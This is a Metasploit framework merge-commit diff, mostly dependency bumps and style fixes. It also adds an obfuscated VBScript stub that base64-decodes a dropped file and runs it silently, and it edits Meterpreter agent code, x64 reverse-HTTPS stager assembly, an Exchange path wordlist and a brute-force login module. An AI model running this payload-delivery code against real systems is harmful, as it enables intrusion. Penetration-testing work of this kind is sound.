Merge branch 'master' of github.com:rapid7/metasploit-framework into enum_ad_perf
commit
f1e563d375
|
@ -3,10 +3,7 @@
|
||||||
.idea
|
.idea
|
||||||
# Sublime Text project directory (not created by ST by default)
|
# Sublime Text project directory (not created by ST by default)
|
||||||
.sublime-project
|
.sublime-project
|
||||||
# Portable ruby version files for rvm
|
# RVM control file, keep this to avoid backdooring Metasploit
|
||||||
.ruby-gemset
|
|
||||||
.ruby-version
|
|
||||||
# RVM control file
|
|
||||||
.rvmrc
|
.rvmrc
|
||||||
# YARD cache directory
|
# YARD cache directory
|
||||||
.yardoc
|
.yardoc
|
||||||
|
@ -16,7 +13,7 @@
|
||||||
config/database.yml
|
config/database.yml
|
||||||
# simplecov coverage data
|
# simplecov coverage data
|
||||||
coverage
|
coverage
|
||||||
data/meterpreter/ext_server_pivot.dll
|
data/meterpreter/ext_server_pivot.x86.dll
|
||||||
data/meterpreter/ext_server_pivot.x64.dll
|
data/meterpreter/ext_server_pivot.x64.dll
|
||||||
doc/
|
doc/
|
||||||
external/source/meterpreter/java/bin
|
external/source/meterpreter/java/bin
|
||||||
|
|
|
@ -0,0 +1 @@
|
||||||
|
metasploit-framework
|
|
@ -0,0 +1 @@
|
||||||
|
1.9.3-p448
|
|
@ -15,4 +15,4 @@ notifications:
|
||||||
irc: "irc.freenode.org#msfnotify"
|
irc: "irc.freenode.org#msfnotify"
|
||||||
|
|
||||||
git:
|
git:
|
||||||
depth: 1
|
depth: 5
|
||||||
|
|
9
Gemfile
9
Gemfile
|
@ -1,4 +1,4 @@
|
||||||
source 'http://rubygems.org'
|
source 'https://rubygems.org'
|
||||||
|
|
||||||
# Need 3+ for ActiveSupport::Concern
|
# Need 3+ for ActiveSupport::Concern
|
||||||
gem 'activesupport', '>= 3.0.0'
|
gem 'activesupport', '>= 3.0.0'
|
||||||
|
@ -11,7 +11,7 @@ gem 'nokogiri'
|
||||||
# Needed by anemone crawler
|
# Needed by anemone crawler
|
||||||
gem 'robots'
|
gem 'robots'
|
||||||
# Needed by db.rb and Msf::Exploit::Capture
|
# Needed by db.rb and Msf::Exploit::Capture
|
||||||
gem 'packetfu', '1.1.8'
|
gem 'packetfu', '1.1.9'
|
||||||
|
|
||||||
group :db do
|
group :db do
|
||||||
# Needed for Msf::DbManager
|
# Needed for Msf::DbManager
|
||||||
|
@ -41,7 +41,7 @@ group :development, :test do
|
||||||
# 'FactoryGirl.' in factory definitions syntax.
|
# 'FactoryGirl.' in factory definitions syntax.
|
||||||
gem 'factory_girl', '>= 4.1.0'
|
gem 'factory_girl', '>= 4.1.0'
|
||||||
# running documentation generation tasks and rspec tasks
|
# running documentation generation tasks and rspec tasks
|
||||||
gem 'rake'
|
gem 'rake', '>= 10.0.0'
|
||||||
end
|
end
|
||||||
|
|
||||||
group :test do
|
group :test do
|
||||||
|
@ -51,11 +51,10 @@ group :test do
|
||||||
gem 'database_cleaner'
|
gem 'database_cleaner'
|
||||||
# testing framework
|
# testing framework
|
||||||
gem 'rspec', '>= 2.12'
|
gem 'rspec', '>= 2.12'
|
||||||
# add matchers from shoulda, such as query_the_database, which is useful for
|
|
||||||
# testing that the Msf::DBManager activation is respected.
|
|
||||||
gem 'shoulda-matchers'
|
gem 'shoulda-matchers'
|
||||||
# code coverage for tests
|
# code coverage for tests
|
||||||
# any version newer than 0.5.4 gives an Encoding error when trying to read the source files.
|
# any version newer than 0.5.4 gives an Encoding error when trying to read the source files.
|
||||||
|
# see: https://github.com/colszowka/simplecov/issues/127 (hopefully fixed in 0.8.0)
|
||||||
gem 'simplecov', '0.5.4', :require => false
|
gem 'simplecov', '0.5.4', :require => false
|
||||||
# Manipulate Time.now in specs
|
# Manipulate Time.now in specs
|
||||||
gem 'timecop'
|
gem 'timecop'
|
||||||
|
|
68
Gemfile.lock
68
Gemfile.lock
|
@ -1,62 +1,58 @@
|
||||||
GEM
|
GEM
|
||||||
remote: http://rubygems.org/
|
remote: https://rubygems.org/
|
||||||
specs:
|
specs:
|
||||||
activemodel (3.2.13)
|
activemodel (3.2.14)
|
||||||
activesupport (= 3.2.13)
|
activesupport (= 3.2.14)
|
||||||
builder (~> 3.0.0)
|
builder (~> 3.0.0)
|
||||||
activerecord (3.2.13)
|
activerecord (3.2.14)
|
||||||
activemodel (= 3.2.13)
|
activemodel (= 3.2.14)
|
||||||
activesupport (= 3.2.13)
|
activesupport (= 3.2.14)
|
||||||
arel (~> 3.0.2)
|
arel (~> 3.0.2)
|
||||||
tzinfo (~> 0.3.29)
|
tzinfo (~> 0.3.29)
|
||||||
activesupport (3.2.13)
|
activesupport (3.2.14)
|
||||||
i18n (= 0.6.1)
|
i18n (~> 0.6, >= 0.6.4)
|
||||||
multi_json (~> 1.0)
|
multi_json (~> 1.0)
|
||||||
arel (3.0.2)
|
arel (3.0.2)
|
||||||
bourne (1.4.0)
|
|
||||||
mocha (~> 0.13.2)
|
|
||||||
builder (3.0.4)
|
builder (3.0.4)
|
||||||
database_cleaner (0.9.1)
|
database_cleaner (1.1.1)
|
||||||
diff-lcs (1.2.2)
|
diff-lcs (1.2.4)
|
||||||
factory_girl (4.2.0)
|
factory_girl (4.2.0)
|
||||||
activesupport (>= 3.0.0)
|
activesupport (>= 3.0.0)
|
||||||
i18n (0.6.1)
|
i18n (0.6.5)
|
||||||
json (1.7.7)
|
json (1.8.0)
|
||||||
metaclass (0.0.1)
|
|
||||||
metasploit_data_models (0.16.6)
|
metasploit_data_models (0.16.6)
|
||||||
activerecord (>= 3.2.13)
|
activerecord (>= 3.2.13)
|
||||||
activesupport
|
activesupport
|
||||||
pg
|
pg
|
||||||
mocha (0.13.3)
|
mini_portile (0.5.1)
|
||||||
metaclass (~> 0.0.1)
|
msgpack (0.5.5)
|
||||||
msgpack (0.5.4)
|
|
||||||
multi_json (1.0.4)
|
multi_json (1.0.4)
|
||||||
network_interface (0.0.1)
|
network_interface (0.0.1)
|
||||||
nokogiri (1.5.9)
|
nokogiri (1.6.0)
|
||||||
packetfu (1.1.8)
|
mini_portile (~> 0.5.0)
|
||||||
|
packetfu (1.1.9)
|
||||||
pcaprub (0.11.3)
|
pcaprub (0.11.3)
|
||||||
pg (0.15.1)
|
pg (0.16.0)
|
||||||
rake (10.0.4)
|
rake (10.1.0)
|
||||||
redcarpet (2.2.2)
|
redcarpet (3.0.0)
|
||||||
robots (0.10.1)
|
robots (0.10.1)
|
||||||
rspec (2.13.0)
|
rspec (2.14.1)
|
||||||
rspec-core (~> 2.13.0)
|
rspec-core (~> 2.14.0)
|
||||||
rspec-expectations (~> 2.13.0)
|
rspec-expectations (~> 2.14.0)
|
||||||
rspec-mocks (~> 2.13.0)
|
rspec-mocks (~> 2.14.0)
|
||||||
rspec-core (2.13.1)
|
rspec-core (2.14.5)
|
||||||
rspec-expectations (2.13.0)
|
rspec-expectations (2.14.2)
|
||||||
diff-lcs (>= 1.1.3, < 2.0)
|
diff-lcs (>= 1.1.3, < 2.0)
|
||||||
rspec-mocks (2.13.0)
|
rspec-mocks (2.14.3)
|
||||||
shoulda-matchers (1.5.2)
|
shoulda-matchers (2.3.0)
|
||||||
activesupport (>= 3.0.0)
|
activesupport (>= 3.0.0)
|
||||||
bourne (~> 1.3)
|
|
||||||
simplecov (0.5.4)
|
simplecov (0.5.4)
|
||||||
multi_json (~> 1.0.3)
|
multi_json (~> 1.0.3)
|
||||||
simplecov-html (~> 0.5.3)
|
simplecov-html (~> 0.5.3)
|
||||||
simplecov-html (0.5.3)
|
simplecov-html (0.5.3)
|
||||||
timecop (0.6.1)
|
timecop (0.6.3)
|
||||||
tzinfo (0.3.37)
|
tzinfo (0.3.37)
|
||||||
yard (0.8.5.2)
|
yard (0.8.7)
|
||||||
|
|
||||||
PLATFORMS
|
PLATFORMS
|
||||||
ruby
|
ruby
|
||||||
|
@ -71,10 +67,10 @@ DEPENDENCIES
|
||||||
msgpack
|
msgpack
|
||||||
network_interface (~> 0.0.1)
|
network_interface (~> 0.0.1)
|
||||||
nokogiri
|
nokogiri
|
||||||
packetfu (= 1.1.8)
|
packetfu (= 1.1.9)
|
||||||
pcaprub
|
pcaprub
|
||||||
pg (>= 0.11)
|
pg (>= 0.11)
|
||||||
rake
|
rake (>= 10.0.0)
|
||||||
redcarpet
|
redcarpet
|
||||||
robots
|
robots
|
||||||
rspec (>= 2.12)
|
rspec (>= 2.12)
|
||||||
|
|
4
HACKING
4
HACKING
|
@ -9,8 +9,8 @@ Code Style
|
||||||
In order to maintain consistency and readability, we ask that you
|
In order to maintain consistency and readability, we ask that you
|
||||||
adhere to the following style guidelines:
|
adhere to the following style guidelines:
|
||||||
|
|
||||||
- Hard tabs, not spaces
|
- Standard Ruby two-space soft tabs, not hard tabs.
|
||||||
- Try to keep your lines under 100 columns (assuming four-space tabs)
|
- Try to keep your lines under 100 columns (assuming two-space tabs)
|
||||||
- do; end instead of {} for a block
|
- do; end instead of {} for a block
|
||||||
- Always use str[0,1] instead of str[0]
|
- Always use str[0,1] instead of str[0]
|
||||||
(This avoids a known ruby 1.8/1.9 incompatibility.)
|
(This avoids a known ruby 1.8/1.9 incompatibility.)
|
||||||
|
|
|
@ -0,0 +1,49 @@
|
||||||
|
echo Dim encodedFile, decodedFile, scriptingFS, scriptShell, emptyString, tempString, Base64Chars, tempDir >>decode_stub
|
||||||
|
echo encodedFile = Chr(92)+CHRENCFILE >>decode_stub
|
||||||
|
echo decodedFile = Chr(92)+CHRDECFILE >>decode_stub
|
||||||
|
echo scriptingFS = Chr(83)+Chr(99)+Chr(114)+Chr(105)+Chr(112)+Chr(116)+Chr(105)+Chr(110)+Chr(103)+Chr(46)+Chr(70)+Chr(105)+Chr(108)+Chr(101)+Chr(83)+Chr(121)+Chr(115)+Chr(116)+Chr(101)+Chr(109)+Chr(79)+Chr(98)+Chr(106)+Chr(101)+Chr(99)+Chr(116) >>decode_stub
|
||||||
|
echo scriptShell = Chr(87)+Chr(115)+Chr(99)+Chr(114)+Chr(105)+Chr(112)+Chr(116)+Chr(46)+Chr(83)+Chr(104)+Chr(101)+Chr(108)+Chr(108) >>decode_stub
|
||||||
|
echo emptyString = Chr(84)+Chr(104)+Chr(101)+Chr(32)+Chr(102)+Chr(105)+Chr(108)+Chr(101)+Chr(32)+Chr(105)+Chr(115)+Chr(32)+Chr(101)+Chr(109)+Chr(112)+Chr(116)+Chr(121)+Chr(46)>>decode_stub
|
||||||
|
echo tempString = Chr(37)+Chr(84)+Chr(69)+Chr(77)+Chr(80)+Chr(37) >>decode_stub
|
||||||
|
echo Base64Chars = Chr(65)+Chr(66)+Chr(67)+Chr(68)+Chr(69)+Chr(70)+Chr(71)+Chr(72)+Chr(73)+Chr(74)+Chr(75)+Chr(76)+Chr(77)+Chr(78)+Chr(79)+Chr(80)+Chr(81)+Chr(82)+Chr(83)+Chr(84)+Chr(85)+Chr(86)+Chr(87)+Chr(88)+Chr(89)+Chr(90)+Chr(97)+Chr(98)+Chr(99)+Chr(100)+Chr(101)+Chr(102)+Chr(103)+Chr(104)+Chr(105)+Chr(106)+Chr(107)+Chr(108)+Chr(109)+Chr(110)+Chr(111)+Chr(112)+Chr(113)+Chr(114)+Chr(115)+Chr(116)+Chr(117)+Chr(118)+Chr(119)+Chr(120)+Chr(121)+Chr(122)+Chr(48)+Chr(49)+Chr(50)+Chr(51)+Chr(52)+Chr(53)+Chr(54)+Chr(55)+Chr(56)+Chr(57)+Chr(43)+Chr(47) >>decode_stub
|
||||||
|
echo Set wshShell = CreateObject(scriptShell) >>decode_stub
|
||||||
|
echo tempDir = wshShell.ExpandEnvironmentStrings(tempString) >>decode_stub
|
||||||
|
echo Set fs = CreateObject(scriptingFS) >>decode_stub
|
||||||
|
echo Set file = fs.GetFile(tempDir+encodedFile) >>decode_stub
|
||||||
|
echo If file.Size Then >>decode_stub
|
||||||
|
echo Set fd = fs.OpenTextFile(tempDir+encodedFile, 1) >>decode_stub
|
||||||
|
echo data = fd.ReadAll >>decode_stub
|
||||||
|
echo data = Replace(data, Chr(32)+vbCrLf, nil) >>decode_stub
|
||||||
|
echo data = Replace(data, vbCrLf, nil) >>decode_stub
|
||||||
|
echo data = base64_decode(data) >>decode_stub
|
||||||
|
echo fd.Close >>decode_stub
|
||||||
|
echo Set ofs = CreateObject(scriptingFS).OpenTextFile(tempDir+decodedFile, 2, True) >>decode_stub
|
||||||
|
echo ofs.Write data >>decode_stub
|
||||||
|
echo ofs.close >>decode_stub
|
||||||
|
echo wshShell.run tempDir+decodedFile, 0, false >>decode_stub
|
||||||
|
echo Else >>decode_stub
|
||||||
|
echo Wscript.Echo emptyString >>decode_stub
|
||||||
|
echo End If >>decode_stub
|
||||||
|
echo Function base64_decode(byVal strIn) >>decode_stub
|
||||||
|
echo Dim w1, w2, w3, w4, n, strOut >>decode_stub
|
||||||
|
echo For n = 1 To Len(strIn) Step 4 >>decode_stub
|
||||||
|
echo w1 = mimedecode(Mid(strIn, n, 1)) >>decode_stub
|
||||||
|
echo w2 = mimedecode(Mid(strIn, n + 1, 1)) >>decode_stub
|
||||||
|
echo w3 = mimedecode(Mid(strIn, n + 2, 1)) >>decode_stub
|
||||||
|
echo w4 = mimedecode(Mid(strIn, n + 3, 1)) >>decode_stub
|
||||||
|
echo If Not w2 Then _ >>decode_stub
|
||||||
|
echo strOut = strOut + Chr(((w1 * 4 + Int(w2 / 16)) And 255)) >>decode_stub
|
||||||
|
echo If Not w3 Then _ >>decode_stub
|
||||||
|
echo strOut = strOut + Chr(((w2 * 16 + Int(w3 / 4)) And 255)) >>decode_stub
|
||||||
|
echo If Not w4 Then _ >>decode_stub
|
||||||
|
echo strOut = strOut + Chr(((w3 * 64 + w4) And 255)) >>decode_stub
|
||||||
|
echo Next >>decode_stub
|
||||||
|
echo base64_decode = strOut >>decode_stub
|
||||||
|
echo End Function >>decode_stub
|
||||||
|
echo Function mimedecode(byVal strIn) >>decode_stub
|
||||||
|
echo If Len(strIn) = 0 Then >>decode_stub
|
||||||
|
echo mimedecode = -1 : Exit Function >>decode_stub
|
||||||
|
echo Else >>decode_stub
|
||||||
|
echo mimedecode = InStr(Base64Chars, strIn) - 1 >>decode_stub
|
||||||
|
echo End If >>decode_stub
|
||||||
|
echo End Function >>decode_stub
|
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
|
@ -580,20 +580,28 @@ def stdapi_fs_delete_file(request, response):
|
||||||
@meterpreter.register_function
|
@meterpreter.register_function
|
||||||
def stdapi_fs_file_expand_path(request, response):
|
def stdapi_fs_file_expand_path(request, response):
|
||||||
path_tlv = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value']
|
path_tlv = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value']
|
||||||
if path_tlv == '%COMSPEC%':
|
if has_windll:
|
||||||
if platform.system() == 'Windows':
|
path_out = (ctypes.c_char * 4096)()
|
||||||
result = 'cmd.exe'
|
path_out_len = ctypes.windll.kernel32.ExpandEnvironmentStringsA(path_tlv, ctypes.byref(path_out), ctypes.sizeof(path_out))
|
||||||
else:
|
result = ''.join(path_out)[:path_out_len]
|
||||||
result = '/bin/sh'
|
elif path_tlv == '%COMSPEC%':
|
||||||
elif path_tlv in ['%TEMP%', '%TMP%'] and platform.system() != 'Windows':
|
result = '/bin/sh'
|
||||||
|
elif path_tlv in ['%TEMP%', '%TMP%']:
|
||||||
result = '/tmp'
|
result = '/tmp'
|
||||||
else:
|
else:
|
||||||
result = os.getenv(path_tlv)
|
result = os.getenv(path_tlv, path_tlv)
|
||||||
if not result:
|
if not result:
|
||||||
return ERROR_FAILURE, response
|
return ERROR_FAILURE, response
|
||||||
response += tlv_pack(TLV_TYPE_FILE_PATH, result)
|
response += tlv_pack(TLV_TYPE_FILE_PATH, result)
|
||||||
return ERROR_SUCCESS, response
|
return ERROR_SUCCESS, response
|
||||||
|
|
||||||
|
@meterpreter.register_function
|
||||||
|
def stdapi_fs_file_move(request, response):
|
||||||
|
oldname = packet_get_tlv(request, TLV_TYPE_FILE_NAME)['value']
|
||||||
|
newname = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value']
|
||||||
|
os.rename(oldname, newname)
|
||||||
|
return ERROR_SUCCESS, response
|
||||||
|
|
||||||
@meterpreter.register_function
|
@meterpreter.register_function
|
||||||
def stdapi_fs_getwd(request, response):
|
def stdapi_fs_getwd(request, response):
|
||||||
response += tlv_pack(TLV_TYPE_DIRECTORY_PATH, os.getcwd())
|
response += tlv_pack(TLV_TYPE_DIRECTORY_PATH, os.getcwd())
|
||||||
|
@ -622,7 +630,7 @@ def stdapi_fs_md5(request, response):
|
||||||
m = hashlib.md5()
|
m = hashlib.md5()
|
||||||
path = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value']
|
path = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value']
|
||||||
m.update(open(path, 'rb').read())
|
m.update(open(path, 'rb').read())
|
||||||
response += tlv_pack(TLV_TYPE_FILE_NAME, m.hexdigest())
|
response += tlv_pack(TLV_TYPE_FILE_NAME, m.digest())
|
||||||
return ERROR_SUCCESS, response
|
return ERROR_SUCCESS, response
|
||||||
|
|
||||||
@meterpreter.register_function
|
@meterpreter.register_function
|
||||||
|
@ -669,7 +677,7 @@ def stdapi_fs_sha1(request, response):
|
||||||
m = hashlib.sha1()
|
m = hashlib.sha1()
|
||||||
path = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value']
|
path = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value']
|
||||||
m.update(open(path, 'rb').read())
|
m.update(open(path, 'rb').read())
|
||||||
response += tlv_pack(TLV_TYPE_FILE_NAME, m.hexdigest())
|
response += tlv_pack(TLV_TYPE_FILE_NAME, m.digest())
|
||||||
return ERROR_SUCCESS, response
|
return ERROR_SUCCESS, response
|
||||||
|
|
||||||
@meterpreter.register_function
|
@meterpreter.register_function
|
||||||
|
|
Binary file not shown.
Binary file not shown.
|
@ -145,8 +145,9 @@ class STDProcessBuffer(threading.Thread):
|
||||||
self.data_lock.acquire()
|
self.data_lock.acquire()
|
||||||
self.data += byte
|
self.data += byte
|
||||||
self.data_lock.release()
|
self.data_lock.release()
|
||||||
|
data = self.std.read()
|
||||||
self.data_lock.acquire()
|
self.data_lock.acquire()
|
||||||
self.data += self.std.read()
|
self.data += data
|
||||||
self.data_lock.release()
|
self.data_lock.release()
|
||||||
|
|
||||||
def is_read_ready(self):
|
def is_read_ready(self):
|
||||||
|
@ -208,7 +209,7 @@ class PythonMeterpreter(object):
|
||||||
|
|
||||||
def run(self):
|
def run(self):
|
||||||
while self.running:
|
while self.running:
|
||||||
if len(select.select([self.socket], [], [], 0)[0]):
|
if len(select.select([self.socket], [], [], 0.5)[0]):
|
||||||
request = self.socket.recv(8)
|
request = self.socket.recv(8)
|
||||||
if len(request) != 8:
|
if len(request) != 8:
|
||||||
break
|
break
|
||||||
|
@ -391,13 +392,17 @@ class PythonMeterpreter(object):
|
||||||
reqid_tlv = packet_get_tlv(request, TLV_TYPE_REQUEST_ID)
|
reqid_tlv = packet_get_tlv(request, TLV_TYPE_REQUEST_ID)
|
||||||
resp += tlv_pack(reqid_tlv)
|
resp += tlv_pack(reqid_tlv)
|
||||||
|
|
||||||
if method_tlv['value'] in self.extension_functions:
|
handler_name = method_tlv['value']
|
||||||
handler = self.extension_functions[method_tlv['value']]
|
if handler_name in self.extension_functions:
|
||||||
|
handler = self.extension_functions[handler_name]
|
||||||
try:
|
try:
|
||||||
|
#print("[*] running method {0}".format(handler_name))
|
||||||
result, resp = handler(request, resp)
|
result, resp = handler(request, resp)
|
||||||
except Exception, err:
|
except Exception, err:
|
||||||
|
#print("[-] method {0} resulted in an error".format(handler_name))
|
||||||
result = ERROR_FAILURE
|
result = ERROR_FAILURE
|
||||||
else:
|
else:
|
||||||
|
#print("[-] method {0} was requested but does not exist".format(handler_name))
|
||||||
result = ERROR_FAILURE
|
result = ERROR_FAILURE
|
||||||
resp += tlv_pack(TLV_TYPE_RESULT, result)
|
resp += tlv_pack(TLV_TYPE_RESULT, result)
|
||||||
resp = struct.pack('>I', len(resp) + 4) + resp
|
resp = struct.pack('>I', len(resp) + 4) + resp
|
||||||
|
|
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
|
@ -0,0 +1,8 @@
|
||||||
|
aspnet_client/
|
||||||
|
Autodiscover/
|
||||||
|
ecp/
|
||||||
|
EWS/
|
||||||
|
Microsoft-Server-ActiveSync/
|
||||||
|
OAB/
|
||||||
|
PowerShell/
|
||||||
|
Rpc/
|
|
@ -1,6 +1,7 @@
|
||||||
;-----------------------------------------------------------------------------;
|
;-----------------------------------------------------------------------------;
|
||||||
; Author: Stephen Fewer (stephen_fewer[at]harmonysecurity[dot]com)
|
; Author: Stephen Fewer (stephen_fewer[at]harmonysecurity[dot]com)
|
||||||
; Rewritten for x64 by agix
|
; Rewritten for x64 by agix
|
||||||
|
; Modified to account for memory alignment by rwincey
|
||||||
; Compatible: Windows 7
|
; Compatible: Windows 7
|
||||||
; Architecture: x64
|
; Architecture: x64
|
||||||
;-----------------------------------------------------------------------------;
|
;-----------------------------------------------------------------------------;
|
||||||
|
@ -12,6 +13,7 @@
|
||||||
|
|
||||||
load_wininet:
|
load_wininet:
|
||||||
; setup the structures we need on the stack...
|
; setup the structures we need on the stack...
|
||||||
|
push byte 0 ; alignment
|
||||||
mov r14, 'wininet'
|
mov r14, 'wininet'
|
||||||
push r14 ; Push the bytes 'wininet',0 onto the stack.
|
push r14 ; Push the bytes 'wininet',0 onto the stack.
|
||||||
mov r14, rsp ; save pointer to the "wininet" string for LoadLibraryA call.
|
mov r14, rsp ; save pointer to the "wininet" string for LoadLibraryA call.
|
||||||
|
@ -20,6 +22,7 @@ load_wininet:
|
||||||
call rbp ; LoadLibraryA( "ws2_32" )
|
call rbp ; LoadLibraryA( "ws2_32" )
|
||||||
|
|
||||||
internetopen:
|
internetopen:
|
||||||
|
push byte 0 ; alignment
|
||||||
push byte 0 ; NULL pointer
|
push byte 0 ; NULL pointer
|
||||||
mov rcx, rsp ; LPCTSTR lpszAgent ("\x00")
|
mov rcx, rsp ; LPCTSTR lpszAgent ("\x00")
|
||||||
xor rdx, rdx ; DWORD dwAccessType (PRECONFIG = 0)
|
xor rdx, rdx ; DWORD dwAccessType (PRECONFIG = 0)
|
||||||
|
@ -74,6 +77,7 @@ retry:
|
||||||
internetsetoption:
|
internetsetoption:
|
||||||
mov rcx, rsi ; HINTERNET hInternet
|
mov rcx, rsi ; HINTERNET hInternet
|
||||||
mov rdx, 31 ; DWORD dwOption (INTERNET_OPTION_SECURITY_FLAGS)
|
mov rdx, 31 ; DWORD dwOption (INTERNET_OPTION_SECURITY_FLAGS)
|
||||||
|
push byte 0 ; alignment
|
||||||
push qword 0x00003380
|
push qword 0x00003380
|
||||||
;0x00002000 | ; SECURITY_FLAG_IGNORE_CERT_DATE_INVALID
|
;0x00002000 | ; SECURITY_FLAG_IGNORE_CERT_DATE_INVALID
|
||||||
;0x00001000 | ; SECURITY_FLAG_IGNORE_CERT_CN_INVALID
|
;0x00001000 | ; SECURITY_FLAG_IGNORE_CERT_CN_INVALID
|
||||||
|
@ -90,6 +94,7 @@ httpsendrequest:
|
||||||
xor rdx, rdx ; LPCTSTR lpszHeaders
|
xor rdx, rdx ; LPCTSTR lpszHeaders
|
||||||
xor r8, r8 ; DWORD dwHeadersLength
|
xor r8, r8 ; DWORD dwHeadersLength
|
||||||
xor r9, r9 ; LPVOID lpOptional
|
xor r9, r9 ; LPVOID lpOptional
|
||||||
|
push rdx ; alignment
|
||||||
push rdx ; DWORD dwOptionalLength
|
push rdx ; DWORD dwOptionalLength
|
||||||
mov r10, 0x7B18062D ; hash( "wininet.dll", "HttpSendRequestA" )
|
mov r10, 0x7B18062D ; hash( "wininet.dll", "HttpSendRequestA" )
|
||||||
call rbp
|
call rbp
|
||||||
|
|
|
@ -776,10 +776,10 @@ class Disassembler
|
||||||
def strings_scan(minlen=6)
|
def strings_scan(minlen=6)
|
||||||
ret = []
|
ret = []
|
||||||
nexto = 0
|
nexto = 0
|
||||||
pattern_scan(/[\x20-\x7e]{#{minlen},}/m, nil, 1024) { |o|
|
pattern_scan(/[\x20-\x7e]{#{minlen},}/nm, nil, 1024) { |o|
|
||||||
if o - nexto > 0
|
if o - nexto > 0
|
||||||
next unless e = get_edata_at(o)
|
next unless e = get_edata_at(o)
|
||||||
str = e.data[e.ptr, 1024][/[\x20-\x7e]{#{minlen},}/m]
|
str = e.data[e.ptr, 1024][/[\x20-\x7e]{#{minlen},}/nm]
|
||||||
ret << [o, str] if not block_given? or yield(o, str)
|
ret << [o, str] if not block_given? or yield(o, str)
|
||||||
nexto = o + str.length
|
nexto = o + str.length
|
||||||
end
|
end
|
||||||
|
|
|
@ -231,7 +231,7 @@ class HexWidget < DrawableWidget
|
||||||
end
|
end
|
||||||
if @show_ascii and d
|
if @show_ascii and d
|
||||||
x = xa + d_o*@font_width
|
x = xa + d_o*@font_width
|
||||||
d = d.gsub(/[^\x20-\x7e]/, '.')
|
d = d.gsub(/[^\x20-\x7e]/n, '.')
|
||||||
if wp.empty?
|
if wp.empty?
|
||||||
render[d, :ascii]
|
render[d, :ascii]
|
||||||
else
|
else
|
||||||
|
@ -393,7 +393,7 @@ class HexWidget < DrawableWidget
|
||||||
# pop a dialog, scans the sections for a hex pattern
|
# pop a dialog, scans the sections for a hex pattern
|
||||||
def prompt_search_hex
|
def prompt_search_hex
|
||||||
inputbox('hex pattern to search (hex regexp, use .. for wildcard)') { |pat|
|
inputbox('hex pattern to search (hex regexp, use .. for wildcard)') { |pat|
|
||||||
pat = pat.gsub(' ', '').gsub('..', '.').gsub(/[0-9a-f][0-9a-f]/i) { |o| "\\x#{o}" }
|
pat = pat.gsub(' ', '').gsub('..', '.').gsub(/[0-9a-f][0-9a-f]/ni) { |o| "\\x#{o}" }
|
||||||
pat = Regexp.new(pat, Regexp::MULTILINE, 'n') # 'n' = force ascii-8bit
|
pat = Regexp.new(pat, Regexp::MULTILINE, 'n') # 'n' = force ascii-8bit
|
||||||
list = [['addr']] + @dasm.pattern_scan(pat).map { |a| [Expression[a]] }
|
list = [['addr']] + @dasm.pattern_scan(pat).map { |a| [Expression[a]] }
|
||||||
listwindow("hex search #{pat}", list) { |i| focus_addr i[0] }
|
listwindow("hex search #{pat}", list) { |i| focus_addr i[0] }
|
||||||
|
|
|
@ -15,7 +15,7 @@ class Meterpreter_x86_Win < Msf::Sessions::Meterpreter
|
||||||
def initialize(rstream,opts={})
|
def initialize(rstream,opts={})
|
||||||
super
|
super
|
||||||
self.platform = 'x86/win32'
|
self.platform = 'x86/win32'
|
||||||
self.binary_suffix = 'dll'
|
self.binary_suffix = 'x86.dll'
|
||||||
end
|
end
|
||||||
|
|
||||||
def lookup_error(code)
|
def lookup_error(code)
|
||||||
|
|
|
@ -93,8 +93,6 @@ module Auxiliary::AuthBrute
|
||||||
next if @@credentials_skipped[fq_user]
|
next if @@credentials_skipped[fq_user]
|
||||||
next if @@credentials_tried[fq_user] == p
|
next if @@credentials_tried[fq_user] == p
|
||||||
|
|
||||||
datastore['USERNAME'] = u.to_s
|
|
||||||
datastore['PASSWORD'] = p.to_s
|
|
||||||
ret = block.call(u, p)
|
ret = block.call(u, p)
|
||||||
|
|
||||||
case ret
|
case ret
|
||||||
|
|
|
@ -128,10 +128,10 @@ module Auxiliary::Login
|
||||||
false
|
false
|
||||||
end
|
end
|
||||||
|
|
||||||
def password_prompt?
|
def password_prompt?(username=nil)
|
||||||
return true if(@recvd =~ @password_regex)
|
return true if(@recvd =~ @password_regex)
|
||||||
if datastore['USERNAME']
|
if username
|
||||||
return true if( !(datastore['USERNAME'].empty?) and @recvd =~ /#{datastore['USERNAME']}'s/)
|
return true if( !(username.empty?) and @recvd =~ /#{username}'s/)
|
||||||
end
|
end
|
||||||
return false
|
return false
|
||||||
end
|
end
|
||||||
|
|
|
@ -59,7 +59,7 @@ def get_nmap_ver
|
||||||
nmap_cmd = [self.nmap_bin]
|
nmap_cmd = [self.nmap_bin]
|
||||||
nmap_cmd << "--version"
|
nmap_cmd << "--version"
|
||||||
res << %x{#{nmap_cmd.join(" ")}} rescue nil
|
res << %x{#{nmap_cmd.join(" ")}} rescue nil
|
||||||
res.gsub(/[\x0d\x0a]/,"")
|
res.gsub(/[\x0d\x0a]/n,"")
|
||||||
end
|
end
|
||||||
|
|
||||||
# Takes a version string in the form of Major.Minor and compares to
|
# Takes a version string in the form of Major.Minor and compares to
|
||||||
|
@ -68,16 +68,16 @@ end
|
||||||
# Comparing an Integer is okay, though.
|
# Comparing an Integer is okay, though.
|
||||||
def nmap_version_at_least?(test_ver=nil)
|
def nmap_version_at_least?(test_ver=nil)
|
||||||
raise ArgumentError, "Cannot compare a Float, use a String or Integer" if test_ver.kind_of? Float
|
raise ArgumentError, "Cannot compare a Float, use a String or Integer" if test_ver.kind_of? Float
|
||||||
unless test_ver.to_s[/^([0-9]+(\x2e[0-9]+)?)/]
|
unless test_ver.to_s[/^([0-9]+(\x2e[0-9]+)?)/n]
|
||||||
raise ArgumentError, "Bad Nmap comparison version: #{test_ver.inspect}"
|
raise ArgumentError, "Bad Nmap comparison version: #{test_ver.inspect}"
|
||||||
end
|
end
|
||||||
test_ver_str = test_ver.to_s
|
test_ver_str = test_ver.to_s
|
||||||
